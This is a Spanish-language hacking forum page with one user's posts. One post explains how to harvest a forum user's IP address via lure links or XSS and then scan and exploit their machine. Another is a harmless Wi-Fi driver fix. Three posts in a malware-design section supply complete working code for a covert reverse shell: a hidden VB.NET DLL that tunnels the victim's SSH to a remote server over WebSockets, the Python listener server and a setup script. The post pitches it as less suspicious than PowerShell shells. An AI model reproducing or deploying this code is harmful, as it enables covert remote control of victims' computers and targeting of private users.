elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


Tema destacado: (TUTORIAL) Aprende a emular Sentinel Dongle By Yapis


  Mostrar Mensajes
Páginas: [1]
1  Seguridad Informática / Hacking / Re: ¿Se podría realizar el escaneo de puertos para averiguar IP pública de un usuario en un foro cualquiera? en: 13 Mayo 2026, 00:44 am
Un escaneo de puertos solo funciona si ya conoces la IP pública del objetivo. Se realiza contra una IP concreta o un rango de IPs. En un foro normal, tú como usuario común no tienes acceso a la IP de otros participantes; solo el administrador del foro puede verla en sus logs.
Además, cuando alguien navega por un foro, su dispositivo actúa como cliente, no como servidor. Realiza conexiones salientes hacia el foro, pero no está escuchando en puertos públicos. Incluso si consiguieras su IP, lo más probable es que:

Esté detrás de un NAT (del router o del proveedor de internet).
Tenga el cortafuegos activado (Windows Firewall, firewall del router, etc.).
En muchos casos, el proveedor use CGNAT, por lo que ni siquiera tiene una IP pública individual.

Ahora bien...

Vulnerabilidades en el foro (XSS, etc.): en algunos casos es posible inyectar código para que el usuario cargue automáticamente un recurso (una imagen, un script, etc.) alojado en un servidor que tú controlas. De esta forma se registra su IP real.
Enlaces directos o WebRTC: En chats (como Discord) o en foros que implementen WebRTC, a veces es posible extraer la IP real del usuario, incluso pudiendo saltarse VPN o proxies en ciertos casos.

Por ejemplo,

En Chrome/Edge: abre
Código:
chrome://webrtc-internals/
En Firefox: abre
Código:
about:webrtc

Busca la sección RTCPeerConnection Statistics. Si aparece actividad relacionada con el dominio del foro, significa que está usando WebRTC.

Método más sencillo (y común)  ::)

Al final la forma más directa y efectiva para obtener la IP de un usuario es compartir un enlace o recurso (imagen, archivo, página web, etc.) que apunte a un servidor que tú controles. Si el usuario hace clic o carga ese recurso sin VPN ni proxy, tu servidor registrará su IP real. Una vez que tengas la IP, puedes:

Realizar un escaneo de puertos con Nmap para ver qué puertos están abiertos y qué servicios corren.
Intentar explotar alguna vulnerabilidad con herramientas como Metasploit, si el sistema tiene servicios desactualizados o mal configurados.

Esto es solo un resumen de lo que una persona con conocimientos básicos puede hacer. Dependiendo de tu experiencia, puedes refinar mucho más el ataque (ingeniería social, exploits más avanzados, pivoting, etc.)

2  Sistemas Operativos / GNU/Linux / Re: Problemas con la tarjeta WIFI en: 6 Mayo 2026, 22:21 pm
Tu problema se debe probablemente al ahorro de energía del chip Wi-Fi (LPS/ASPM).
Tu tarjeta es rtw_8822ce pero aplicaste configuración para 8821ce.

Lo que debes dejar en /etc/modprobe.d/rtw88.conf es solo:
Código:
options rtw88_pci disable_aspm=y
options rtw88_core disable_lps_deep=y

y elimina

Código:
blacklist rtw88_8821ce
blacklist rtw88_core

Después ejecuta:

Código:
sudo update-initramfs -u
sudo reboot

También puedes probar a instalar firmware actualizado:

Código:
sudo apt update
sudo apt install firmware-realtek
3  Seguridad Informática / Análisis y Diseño de Malware / Re: SSH Reverse Shell over HTTPs en: 29 Abril 2026, 00:54 am
Y finalmente el código de nuestro servidor, que estará a la espera de la conexión del cliente e iniciará una sesión SSH tan rápido como entre la primera conexión.

SshReverseTunnel_Server.py

Código:
"""
SSH Reverse Tunnel Server
"""

import asyncio
import logging
import os
import subprocess
from pathlib import Path
from typing import Optional, Dict
import uuid

import uvicorn
from fastapi import FastAPI, WebSocket, HTTPException, Header
from fastapi.responses import JSONResponse

app = FastAPI(title="SSH Reverse Tunnel Server")

# ====================== CONFIGURATION ======================
logging.basicConfig(
    level=logging.INFO,
    format="%(asctime)s | %(levelname)s | %(message)s"
)
logger = logging.getLogger("ssh-tunnel")

SSH_HOST: str = "127.0.0.1"
SSH_PORT: int = 22
REVERSE_PORT: int = 9000
SSH_USER: str = "ubuntu"

BEARER_TOKEN: str = os.getenv("BEARER_TOKEN", "")
BUFFER_SIZE = 32768

active_tunnels: Dict[str, dict] = {}


def start_auto_ssh_session(tunnel_id: str):
    """Start SSH session automatically when client connects"""
    try:
        cmd = f'start "" ssh -o StrictHostKeyChecking=accept-new -o ServerAliveInterval=30 -p {REVERSE_PORT} {SSH_USER}@127.0.0.1'
        subprocess.Popen(cmd, shell=True)
        logger.info(f"Auto SSH session started for tunnel {tunnel_id}")
        return True
    except Exception as e:
        logger.error(f"Failed to start SSH session: {e}")
        return False


async def bridge_websocket_to_ssh(websocket: WebSocket, tunnel_id: str):
    reader = writer = None
    try:
        active_tunnels[tunnel_id] = {"status": "connected", "client": str(websocket.client)}
        logger.info(f"Client connected: {tunnel_id}")

        start_auto_ssh_session(tunnel_id)

        reader, writer = await asyncio.open_connection(SSH_HOST, SSH_PORT)

        async def ws_to_ssh():
            while True:
                data = await websocket.receive_bytes()
                if not data: break
                writer.write(data)
                await writer.drain()

        async def ssh_to_ws():
            while True:
                data = await reader.read(BUFFER_SIZE)
                if not data: break
                await websocket.send_bytes(data)

        await asyncio.gather(ws_to_ssh(), ssh_to_ws(), return_exceptions=True)

    finally:
        if tunnel_id in active_tunnels:
            del active_tunnels[tunnel_id]
        if writer:
            try:
                writer.close()
                await writer.wait_closed()
            except:
                pass


@app.post("/api/register-key")
async def register_key(public_key: str, authorization: Optional[str] = Header(None)):
    if not public_key.strip().startswith("ssh-ed25519"):
        raise HTTPException(400, "Only Ed25519 keys supported")

    home = Path.home()
    ssh_dir = home / ".ssh"
    ssh_dir.mkdir(mode=0o700, exist_ok=True)
    auth_file = ssh_dir / "authorized_keys"
    auth_file.touch(mode=0o600, exist_ok=True)

    if public_key.strip() not in auth_file.read_text():
        with auth_file.open("a") as f:
            f.write(public_key.strip() + "\n")
        logger.info("New public key registered")

    return {"status": "success"}


@app.websocket("/tunnel")
async def tunnel_endpoint(websocket: WebSocket):
    tunnel_id = str(uuid.uuid4())[:8]
    await websocket.accept()
    await bridge_websocket_to_ssh(websocket, tunnel_id)


if __name__ == "__main__":
    port = int(os.getenv("PORT", 8000))
    host = os.getenv("HOST", "0.0.0.0")

    logger.info("=" * 70)
    logger.info("SSH Reverse Tunnel Server STARTED (Auto Session)")
    logger.info(f"Listening on → http://{host}:{port}")
    logger.info(f"WSS Tunnel   → ws://{host}:{port}/tunnel")
    logger.info(f"Register Key → http://{host}:{port}/api/register-key")
    logger.info(f"Reverse Port → {REVERSE_PORT}")
    logger.info(f"Status       → http://{host}:{port}/status")
    logger.info("=" * 70)

    uvicorn.run(
        "SshReverseTunnel_Server:app",
        host=host,
        port=port,
        log_level="info"
    )


Aaah sí, es necesario pre-instalar OpenSSH Server en nuestro equipo para poder arrancar el servidor. Os dejo un .bat que se encarga justamente de eso mismo!

setup_sshd.bat

Código:
@echo off
echo ==========================================
echo   OPENSSH SERVER SETUP (WINDOWS)
echo ==========================================
echo.

:: Check for admin privileges
net session >nul 2>&1
if %errorLevel% neq 0 (
    echo [ERROR] You must run this script as Administrator.
    pause
    exit /b
)

echo [1/5] Checking OpenSSH Server installation...
powershell -Command "Get-WindowsCapability -Online | Where-Object Name -like 'OpenSSH.Server*'"

echo.
echo [2/5] Installing OpenSSH Server (if not installed)...
powershell -Command "Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0"

echo.
echo [3/5] Starting sshd service...
powershell -Command "Start-Service sshd"

echo.
echo [4/5] Setting sshd service to start automatically...
powershell -Command "Set-Service -Name sshd -StartupType Automatic"

echo.
echo [5/5] Configuring firewall rule...
powershell -Command ^
"if (-not (Get-NetFirewallRule -Name 'OpenSSH-Server-In-TCP' -ErrorAction SilentlyContinue)) { ^
    New-NetFirewallRule -Name 'OpenSSH-Server-In-TCP' ^
    -DisplayName 'OpenSSH Server (sshd)' ^
    -Enabled True ^
    -Direction Inbound ^
    -Protocol TCP ^
    -Action Allow ^
    -LocalPort 22 ^
}"

echo.
echo ==========================================
echo   VERIFICATION
echo ==========================================
powershell -Command "Test-NetConnection 127.0.0.1 -Port 22"

echo.
echo If you see 'TcpTestSucceeded : True', everything is working.
echo.

pause
4  Seguridad Informática / Análisis y Diseño de Malware / Re: SSH Reverse Shell over HTTPs en: 29 Abril 2026, 00:50 am
El código de la DLL SshReverseTunnel.vb

Código:
Imports System
Imports System.Collections.Concurrent
Imports System.Diagnostics
Imports System.IO
Imports System.Net
Imports System.Net.Sockets
Imports System.Net.WebSockets
Imports System.Runtime.InteropServices
Imports System.Text
Imports System.Threading
Imports System.Threading.Tasks

<ComVisible(True)>
<Guid("D1C05C4F-66EB-449B-9035-EFA476788414")>
<ProgId("SshReverseTunnel.SshReverseTunnel")>
<ClassInterface(ClassInterfaceType.AutoDual)>
Public Class SshReverseTunnel
    Implements IDisposable

    ' ===== HARDCODED CONFIGURATION =====

    ' Remote WebSocket Secure endpoint used by the local bridge.
    Private Const DEFAULT_WSS_URL As String = "wss://mi-servidor.com/tunnel"

    ' HTTPS endpoint used to register the generated SSH public key.
    Private Const DEFAULT_REGISTER_KEY_URL As String = "https://mi-servidor.com/api/register-key"

    ' SSH user on the remote server.
    Private Const DEFAULT_SSH_USER As String = "ubuntu"

    ' Remote port opened on the SSH server through reverse forwarding.
    Private Const DEFAULT_REVERSE_PORT As Integer = 9000

    ' Local SSH service that will be exposed through the reverse tunnel.
    Private Const DEFAULT_CLIENT_HOST As String = "127.0.0.1"
    Private Const DEFAULT_CLIENT_PORT As Integer = 22

    ' Local TCP port used by ssh.exe to connect into the WebSocket bridge.
    Private Const DEFAULT_LOCAL_TUNNEL_PORT As Integer = 2222

    ' Automatically generated SSH private key path.
    Private Const DEFAULT_IDENTITY_FILE As String = "C:\ProgramData\SshReverseTunnel\ssh\id_ed25519"

    ' Optional token used for both WSS and public key registration.
    Private Const DEFAULT_BEARER_TOKEN As String = ""

    Private _listener As TcpListener
    Private _cts As CancellationTokenSource
    Private _acceptTask As Task
    Private _sshProcess As Process

    Private _running As Boolean = False
    Private _lastError As String = ""

    Private _remoteWssUrl As String = ""
    Private _bearerToken As String = ""

    Private ReadOnly _clients As New ConcurrentBag(Of TcpClient)
    Private ReadOnly _clientTasks As New ConcurrentBag(Of Task)

    ''' <summary>
    ''' Starts the reverse SSH tunnel using predefined configuration values.
    ''' </summary>
    Public Function StartDefault() As Boolean
        Return StartReverseSsh(
        DEFAULT_WSS_URL,
        DEFAULT_REGISTER_KEY_URL,
        DEFAULT_SSH_USER,
        DEFAULT_REVERSE_PORT,
        DEFAULT_CLIENT_HOST,
        DEFAULT_CLIENT_PORT,
        DEFAULT_LOCAL_TUNNEL_PORT,
        DEFAULT_BEARER_TOKEN,
        DEFAULT_IDENTITY_FILE
        )
    End Function

    ''' <summary>
    ''' Starts the full automatic reverse SSH tunnel flow.
    ''' The method generates an SSH key if needed, registers the public key,
    ''' starts the local WSS bridge, and launches OpenSSH in non-interactive mode.
    ''' </summary>
    Public Function StartReverseSsh(
        ByVal remoteWssUrl As String,
        ByVal registerKeyUrl As String,
        ByVal sshServerUser As String,
        ByVal reversePortOnServer As Integer,
        Optional ByVal clientSshHost As String = "127.0.0.1",
        Optional ByVal clientSshPort As Integer = 22,
        Optional ByVal localTunnelPort As Integer = 2222,
        Optional ByVal bearerToken As String = "",
        Optional ByVal identityFile As String = ""
        ) As Boolean

        Try
            If _running Then
                _lastError = "Already running"
                Return False
            End If

            If String.IsNullOrWhiteSpace(identityFile) Then
                identityFile = DEFAULT_IDENTITY_FILE
            End If

            ' Ensure that the client has a local SSH key pair.
            If Not EnsureSshKey(identityFile) Then
                Return False
            End If

            ' Register the generated public key with the server.
            ' The server endpoint should be idempotent and ignore duplicates.
            If Not RegisterPublicKey(registerKeyUrl, identityFile & ".pub", bearerToken) Then
                Return False
            End If

            ' Start local TCP listener that bridges traffic into the remote WSS endpoint.
            If Not StartLocalWssTunnel(remoteWssUrl, localTunnelPort, bearerToken) Then
                Return False
            End If

            ' Launch OpenSSH reverse tunnel using the generated private key.
            If Not LaunchOpenSshReverseTunnel(
            sshServerUser,
            reversePortOnServer,
            clientSshHost,
            clientSshPort,
            localTunnelPort,
            identityFile
            ) Then
                StopReverseSsh()
                Return False
            End If

            _running = True
            Return True

        Catch ex As Exception
            _lastError = ex.Message
            StopReverseSsh()
            Return False
        End Try
    End Function

    ''' <summary>
    ''' Generates an Ed25519 SSH key pair if it does not already exist.
    ''' The generated private key is stored locally and reused on future runs.
    ''' </summary>
    Private Function EnsureSshKey(ByVal identityFile As String) As Boolean
        Try
            Dim dir As String = Path.GetDirectoryName(identityFile)

            If String.IsNullOrWhiteSpace(dir) Then
                _lastError = "Invalid identity file path"
                Return False
            End If

            If Not Directory.Exists(dir) Then
                Directory.CreateDirectory(dir)
            End If

            If File.Exists(identityFile) AndAlso File.Exists(identityFile & ".pub") Then
                Return True
            End If

            Dim psi As New ProcessStartInfo()
            psi.FileName = "ssh-keygen.exe"
            psi.Arguments = "-t ed25519 -N """" -f " & Quote(identityFile)
            psi.UseShellExecute = False
            psi.CreateNoWindow = True
            psi.RedirectStandardOutput = True
            psi.RedirectStandardError = True

            Using p As Process = Process.Start(psi)
                p.WaitForExit()

                If p.ExitCode <> 0 Then
                    _lastError = p.StandardError.ReadToEnd()
                    Return False
                End If
            End Using

            Return True

        Catch ex As Exception
            _lastError = ex.Message
            Return False
        End Try
    End Function

    ''' <summary>
    ''' Sends the generated SSH public key to the server registration endpoint.
    ''' The server should validate the request, avoid duplicates, and append the key
    ''' to the appropriate authorized_keys file.
    ''' </summary>
    Private Function RegisterPublicKey(
    ByVal registerKeyUrl As String,
    ByVal publicKeyPath As String,
    ByVal bearerToken As String
    ) As Boolean

        Try
            If String.IsNullOrWhiteSpace(registerKeyUrl) Then
                _lastError = "Register key URL is empty"
                Return False
            End If

            If Not registerKeyUrl.StartsWith("http://", StringComparison.OrdinalIgnoreCase) AndAlso
           Not registerKeyUrl.StartsWith("https://", StringComparison.OrdinalIgnoreCase) Then
                _lastError = "Register key URL must start with http:// or https://"
                Return False
            End If

            If Not File.Exists(publicKeyPath) Then
                _lastError = "Public key file was not found"
                Return False
            End If

            Dim publicKey As String = File.ReadAllText(publicKeyPath).Trim()

            If String.IsNullOrWhiteSpace(publicKey) Then
                _lastError = "Public key is empty"
                Return False
            End If

            ' La API espera public_key como parámetro query, no como JSON
            Dim separator As String = If(registerKeyUrl.Contains("?"), "&", "?")
            Dim finalUrl As String =
            registerKeyUrl & separator & "public_key=" & Uri.EscapeDataString(publicKey)

            Dim request As HttpWebRequest =
            CType(WebRequest.Create(finalUrl), HttpWebRequest)

            request.Method = "POST"
            request.ContentLength = 0
            request.UserAgent = "SshReverseTunnelClient/1.0"
            request.Timeout = 15000
            request.ReadWriteTimeout = 15000

            If Not String.IsNullOrWhiteSpace(bearerToken) Then
                request.Headers.Set("Authorization", "Bearer " & bearerToken)
            End If

            Using response = CType(request.GetResponse(), HttpWebResponse)
                If response.StatusCode = HttpStatusCode.OK OrElse
               response.StatusCode = HttpStatusCode.Created OrElse
               response.StatusCode = HttpStatusCode.NoContent Then
                    Return True
                End If

                _lastError = "Public key registration failed: " & response.StatusCode.ToString()
                Return False
            End Using

        Catch ex As WebException
            If ex.Response IsNot Nothing Then
                Try
                    Using response = CType(ex.Response, HttpWebResponse)
                        Dim responseBody As String = ""

                        Using reader As New StreamReader(response.GetResponseStream())
                            responseBody = reader.ReadToEnd()
                        End Using

                        _lastError = "Public key registration failed: HTTP " &
                        CInt(response.StatusCode).ToString() & " " &
                        response.StatusDescription & " - " & responseBody
                    End Using
                Catch
                    _lastError = ex.Message
                End Try
            Else
                _lastError = ex.Message
            End If

            Return False

        Catch ex As Exception
            _lastError = ex.Message
            Return False
        End Try
    End Function

    ''' <summary>
    ''' Starts a local TCP listener that forwards incoming traffic to the remote WSS server.
    ''' </summary>
    Private Function StartLocalWssTunnel(
        ByVal remoteWssUrl As String,
        ByVal localPort As Integer,
        ByVal bearerToken As String
        ) As Boolean

        Try
            If String.IsNullOrWhiteSpace(remoteWssUrl) Then
                _lastError = "Remote WSS URL Is empty"
                Return False
            End If

            If Not remoteWssUrl.StartsWith("ws://", StringComparison.OrdinalIgnoreCase) AndAlso
                Not remoteWssUrl.StartsWith("wss://", StringComparison.OrdinalIgnoreCase) Then
                _lastError = "Remote URL must start with ws:// or wss://"
                Return False
            End If

            If localPort <= 0 OrElse localPort > 65535 Then
                _lastError = "Invalid local tunnel port"
                Return False
            End If

            _remoteWssUrl = remoteWssUrl
            _bearerToken = bearerToken

            _cts = New CancellationTokenSource()

            _listener = New TcpListener(IPAddress.Loopback, localPort)
            _listener.Start()

            _acceptTask = Task.Run(Function() AcceptLoopAsync(_cts.Token))

            Return True

        Catch ex As Exception
            _lastError = ex.Message
            Return False
        End Try
    End Function

    ''' <summary>
    ''' Launches ssh.exe with reverse port forwarding enabled.
    ''' BatchMode disables password prompts, making execution fully non-interactive.
    ''' </summary>
    Private Function LaunchOpenSshReverseTunnel(
        ByVal sshServerUser As String,
        ByVal reversePortOnServer As Integer,
        ByVal clientSshHost As String,
        ByVal clientSshPort As Integer,
        ByVal localTunnelPort As Integer,
        ByVal identityFile As String
        ) As Boolean

        Try
            If String.IsNullOrWhiteSpace(sshServerUser) Then
                _lastError = "SSH server user Is empty"
                Return False
            End If

            If reversePortOnServer <= 0 OrElse reversePortOnServer > 65535 Then
                _lastError = "Invalid reverse port On server"
                Return False
            End If

            If clientSshPort <= 0 OrElse clientSshPort > 65535 Then
                _lastError = "Invalid client SSH port"
                Return False
            End If

            If localTunnelPort <= 0 OrElse localTunnelPort > 65535 Then
                _lastError = "Invalid local tunnel port"
                Return False
            End If

            If String.IsNullOrWhiteSpace(identityFile) OrElse Not File.Exists(identityFile) Then
                _lastError = "SSH identity file was Not found"
                Return False
            End If

            Dim sshPath As String = FindWindowsOpenSsh()

            If String.IsNullOrWhiteSpace(sshPath) Then
                _lastError = "OpenSSH executable was Not found"
                Return False
            End If

            Dim args As String =
            "-N " &
            "-o BatchMode=yes " &
            "-o ExitOnForwardFailure=yes " &
            "-o StrictHostKeyChecking=accept-new " &
            "-o ServerAliveInterval=30 " &
            "-o ServerAliveCountMax=3 " &
            "-p " & localTunnelPort.ToString() & " " &
            "-i " & Quote(identityFile) & " " &
            "-R " & reversePortOnServer.ToString() & ":" &
            clientSshHost & ":" & clientSshPort.ToString() & " " &
            Quote(sshServerUser & "@127.0.0.1")

            Dim psi As New ProcessStartInfo()
            psi.FileName = sshPath
            psi.Arguments = args
            psi.UseShellExecute = False
            psi.CreateNoWindow = True
            psi.WindowStyle = ProcessWindowStyle.Hidden
            psi.RedirectStandardOutput = True
            psi.RedirectStandardError = True

            _sshProcess = New Process()
            _sshProcess.StartInfo = psi
            _sshProcess.EnableRaisingEvents = True

            AddHandler _sshProcess.ErrorDataReceived,
            Sub(sender, e)
                If Not String.IsNullOrWhiteSpace(e.Data) Then
                    _lastError = "[SSH STDERR] " & e.Data
                End If
            End Sub

            AddHandler _sshProcess.OutputDataReceived,
            Sub(sender, e)
                If Not String.IsNullOrWhiteSpace(e.Data) Then
                    _lastError = "[SSH STDOUT] " & e.Data
                End If
            End Sub

            AddHandler _sshProcess.Exited,
            Sub(sender, e)
                _running = False
            End Sub

            _sshProcess.Start()
            _sshProcess.BeginErrorReadLine()
            _sshProcess.BeginOutputReadLine()

            Return True

        Catch ex As Exception
            _lastError = ex.Message
            Return False
        End Try
    End Function

    ''' <summary>
    ''' Accepts local TCP clients and creates an independent WebSocket bridge for each one.
    ''' </summary>
    Private Async Function AcceptLoopAsync(ByVal token As CancellationToken) As Task
        While Not token.IsCancellationRequested
            Try
                Dim client As TcpClient =
                Await _listener.AcceptTcpClientAsync().ConfigureAwait(False)

                _clients.Add(client)

                Dim clientTask As Task = HandleClientAsync(client, token)
                _clientTasks.Add(clientTask)

            Catch ex As ObjectDisposedException
                Exit While

            Catch ex As Exception
                If Not token.IsCancellationRequested Then
                    _lastError = ex.Message
                End If

                Exit While
            End Try
        End While
    End Function

    ''' <summary>
    ''' Bridges a single TCP client connection to a remote WebSocket connection.
    ''' </summary>
    Private Async Function HandleClientAsync(
    ByVal client As TcpClient,
    ByVal token As CancellationToken
    ) As Task

        Using client
            Using ws As New ClientWebSocket()
                Try
                    If Not String.IsNullOrWhiteSpace(_bearerToken) Then
                        ws.Options.SetRequestHeader("Authorization", "Bearer " & _bearerToken)
                    End If

                    Await ws.ConnectAsync(New Uri(_remoteWssUrl), token).ConfigureAwait(False)

                    Using stream As NetworkStream = client.GetStream()
                        Dim t1 As Task = PumpTcpToWebSocketAsync(stream, ws, token)
                        Dim t2 As Task = PumpWebSocketToTcpAsync(ws, stream, token)

                        Await Task.WhenAny(t1, t2).ConfigureAwait(False)
                    End Using

                Catch ex As OperationCanceledException
                    ' Expected during shutdown.

                Catch ex As Exception
                    _lastError = ex.Message

                Finally
                    CloseWebSocketQuietly(ws)
                End Try
            End Using
        End Using
    End Function

    ''' <summary>
    ''' Forwards bytes from the TCP stream to the WebSocket connection.
    ''' </summary>
    Private Async Function PumpTcpToWebSocketAsync(
    ByVal stream As NetworkStream,
    ByVal ws As ClientWebSocket,
    ByVal token As CancellationToken
    ) As Task

        Dim buffer(32767) As Byte

        While ws.State = WebSocketState.Open AndAlso Not token.IsCancellationRequested
            Dim read As Integer =
            Await stream.ReadAsync(buffer, 0, buffer.Length, token).ConfigureAwait(False)

            If read <= 0 Then
                Exit While
            End If

            Await ws.SendAsync(
            New ArraySegment(Of Byte)(buffer, 0, read),
            WebSocketMessageType.Binary,
            True,
            token
            ).ConfigureAwait(False)
        End While
    End Function

    ''' <summary>
    ''' Forwards bytes from the WebSocket connection back to the TCP stream.
    ''' </summary>
    Private Async Function PumpWebSocketToTcpAsync(
    ByVal ws As ClientWebSocket,
    ByVal stream As NetworkStream,
    ByVal token As CancellationToken
    ) As Task

        Dim buffer(32767) As Byte

        While ws.State = WebSocketState.Open AndAlso Not token.IsCancellationRequested
            Dim result As WebSocketReceiveResult =
            Await ws.ReceiveAsync(
            New ArraySegment(Of Byte)(buffer),
            token
            ).ConfigureAwait(False)

            If result.MessageType = WebSocketMessageType.Close Then
                Exit While
            End If

            If result.Count > 0 Then
                Await stream.WriteAsync(buffer, 0, result.Count, token).ConfigureAwait(False)
                Await stream.FlushAsync(token).ConfigureAwait(False)
            End If
        End While
    End Function

    ''' <summary>
    ''' Attempts to close the WebSocket gracefully without throwing shutdown exceptions.
    ''' </summary>
    Private Sub CloseWebSocketQuietly(ByVal ws As ClientWebSocket)
        Try
            If ws IsNot Nothing AndAlso ws.State = WebSocketState.Open Then
                ws.CloseAsync(
                WebSocketCloseStatus.NormalClosure,
                "Closing",
                CancellationToken.None
                ).Wait(2000)
            End If
        Catch
        End Try
    End Sub

    ''' <summary>
    ''' Stops the SSH process, local listener, active clients, and async operations.
    ''' </summary>
    Public Sub StopReverseSsh()
        Try
            _running = False

            If _cts IsNot Nothing Then
                Try
                    _cts.Cancel()
                Catch
                End Try
            End If

            If _sshProcess IsNot Nothing Then
                Try
                    If Not _sshProcess.HasExited Then
                        _sshProcess.Kill()
                    End If
                Catch
                End Try

                Try
                    _sshProcess.Dispose()
                Catch
                End Try

                _sshProcess = Nothing
            End If

            If _listener IsNot Nothing Then
                Try
                    _listener.Stop()
                Catch
                End Try

                _listener = Nothing
            End If

            For Each c As TcpClient In _clients
                Try
                    c.Close()
                Catch
                End Try
            Next

        Catch ex As Exception
            _lastError = ex.Message
        End Try
    End Sub

    ''' <summary>
    ''' Returns whether the tunnel is currently running.
    ''' </summary>
    Public Function IsRunning() As Boolean
        Return _running
    End Function

    ''' <summary>
    ''' Returns the last captured error message.
    ''' </summary>
    Public Function LastError() As String
        Return _lastError
    End Function

    ''' <summary>
    ''' Returns the OpenSSH executable name.
    ''' Windows resolves ssh.exe from PATH if OpenSSH Client is installed.
    ''' </summary>
    Private Function FindWindowsOpenSsh() As String
        Dim windowsSsh As String =
        Path.Combine(
        Environment.GetFolderPath(Environment.SpecialFolder.Windows),
        "System32\OpenSSH\ssh.exe"
        )

        If File.Exists(windowsSsh) Then
            Return windowsSsh
        End If

        Return "ssh.exe"
    End Function

    ''' <summary>
    ''' Quotes a command-line argument and escapes embedded quotation marks.
    ''' </summary>
    Private Function Quote(ByVal v As String) As String
        If v Is Nothing Then
            Return """"""
        End If

        Return """" & v.Replace("""", """""") & """"
    End Function

    ''' <summary>
    ''' Disposes the tunnel and releases all related resources.
    ''' </summary>
    Public Sub Dispose() Implements IDisposable.Dispose
        StopReverseSsh()

        If _acceptTask IsNot Nothing Then
            Try
                _acceptTask.Wait(2000)
            Catch
            End Try
        End If

        If _cts IsNot Nothing Then
            Try
                _cts.Dispose()
            Catch
            End Try

            _cts = Nothing
        End If
    End Sub

End Class

La configuración del proyecto SshReverseTunnel.vbproj

Código:
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
  <!-- CONFIG -->
  <PropertyGroup>
    <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
    <Platform Condition=" '$(Platform)' == '' ">x64</Platform>
    <ProjectGuid>{4A7328F2-CD36-473F-849A-12C3CE13DCD7}</ProjectGuid>
    <OutputType>Library</OutputType>
    <RootNamespace>SshReverseTunnel</RootNamespace>
    <AssemblyName>SshReverseTunnel</AssemblyName>
    <FileAlignment>512</FileAlignment>
    <MyType>Windows</MyType>
    <TargetFrameworkVersion>v4.8</TargetFrameworkVersion>
    <Deterministic>true</Deterministic>
    <RegisterForComInterop>true</RegisterForComInterop>
  </PropertyGroup>
  <!-- DEBUG -->
  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|x64' ">
    <DebugSymbols>true</DebugSymbols>
    <DebugType>full</DebugType>
    <DefineDebug>true</DefineDebug>
    <DefineTrace>true</DefineTrace>
    <OutputPath>bin\Debug\</OutputPath>
    <DocumentationFile>SshReverseTunnel.xml</DocumentationFile>
    <PlatformTarget>x64</PlatformTarget>
    <RegisterForComInterop>true</RegisterForComInterop>
    <NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
  </PropertyGroup>
  <!-- RELEASE -->
  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|x64' ">
    <DebugType>pdbonly</DebugType>
    <DefineDebug>false</DefineDebug>
    <DefineTrace>true</DefineTrace>
    <Optimize>true</Optimize>
    <OutputPath>bin\Release\</OutputPath>
    <DocumentationFile>SshReverseTunnel.xml</DocumentationFile>
    <PlatformTarget>x64</PlatformTarget>
    <RegisterForComInterop>true</RegisterForComInterop>
    <NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
  </PropertyGroup>
  <!-- VB OPTIONS -->
  <PropertyGroup>
    <OptionExplicit>On</OptionExplicit>
    <OptionCompare>Binary</OptionCompare>
    <OptionStrict>Off</OptionStrict>
    <OptionInfer>On</OptionInfer>
  </PropertyGroup>
  <!-- REFERENCES -->
  <ItemGroup>
    <Reference Include="System" />
    <Reference Include="System.Data" />
    <Reference Include="System.Xml" />
    <Reference Include="System.Core" />
    <Reference Include="System.Xml.Linq" />
    <Reference Include="System.Data.DataSetExtensions" />
    <Reference Include="System.Net.Http" />
  </ItemGroup>
  <!-- IMPORTS -->
  <ItemGroup>
    <Import Include="Microsoft.VisualBasic" />
    <Import Include="System" />
    <Import Include="System.Collections" />
    <Import Include="System.Collections.Generic" />
    <Import Include="System.Data" />
    <Import Include="System.Diagnostics" />
    <Import Include="System.Linq" />
    <Import Include="System.Xml.Linq" />
    <Import Include="System.Threading.Tasks" />
  </ItemGroup>
  <!-- CODE -->
  <ItemGroup>
    <Compile Include="SshReverseTunnel.vb" />
    <Compile Include="My Project\AssemblyInfo.vb" />
    <Compile Include="My Project\Application.Designer.vb">
      <AutoGen>True</AutoGen>
      <DependentUpon>Application.myapp</DependentUpon>
      <DesignTime>True</DesignTime>
    </Compile>
    <Compile Include="My Project\Resources.Designer.vb">
      <AutoGen>True</AutoGen>
      <DesignTime>True</DesignTime>
      <DependentUpon>Resources.resx</DependentUpon>
    </Compile>
    <Compile Include="My Project\Settings.Designer.vb">
      <AutoGen>True</AutoGen>
      <DependentUpon>Settings.settings</DependentUpon>
      <DesignTimeSharedInput>True</DesignTimeSharedInput>
    </Compile>
  </ItemGroup>
  <!-- RESOURCES -->
  <ItemGroup>
    <EmbeddedResource Include="My Project\Resources.resx">
      <Generator>VbMyResourcesResXFileCodeGenerator</Generator>
      <LastGenOutput>Resources.Designer.vb</LastGenOutput>
      <CustomToolNamespace>My.Resources</CustomToolNamespace>
      <SubType>Designer</SubType>
    </EmbeddedResource>
  </ItemGroup>
  <!-- OTHER -->
  <ItemGroup>
    <None Include="My Project\Application.myapp">
      <Generator>MyApplicationCodeGenerator</Generator>
      <LastGenOutput>Application.Designer.vb</LastGenOutput>
    </None>
    <None Include="My Project\Settings.settings">
      <Generator>SettingsSingleFileGenerator</Generator>
      <CustomToolNamespace>My</CustomToolNamespace>
      <LastGenOutput>Settings.Designer.vb</LastGenOutput>
    </None>
  </ItemGroup>
  <Import Project="$(MSBuildToolsPath)\Microsoft.VisualBasic.targets" />
</Project>
5  Seguridad Informática / Análisis y Diseño de Malware / SSH Reverse Shell over HTTPs en: 29 Abril 2026, 00:47 am
Uno de los métodos más clásicos para obtener una reverse shell consiste en ejecutar un script de PowerShell en la máquina objetivo mientras el atacante mantiene un listener a la espera de conexión.
A día de hoy, este enfoque todavía puede funcionar en ciertos escenarios, pero la realidad es que cada vez genera más sospechas: los usuarios son más cautos y cualquier comportamiento mínimamente anómalo suele levantar alertas.

Por eso resulta interesante plantear una alternativa.
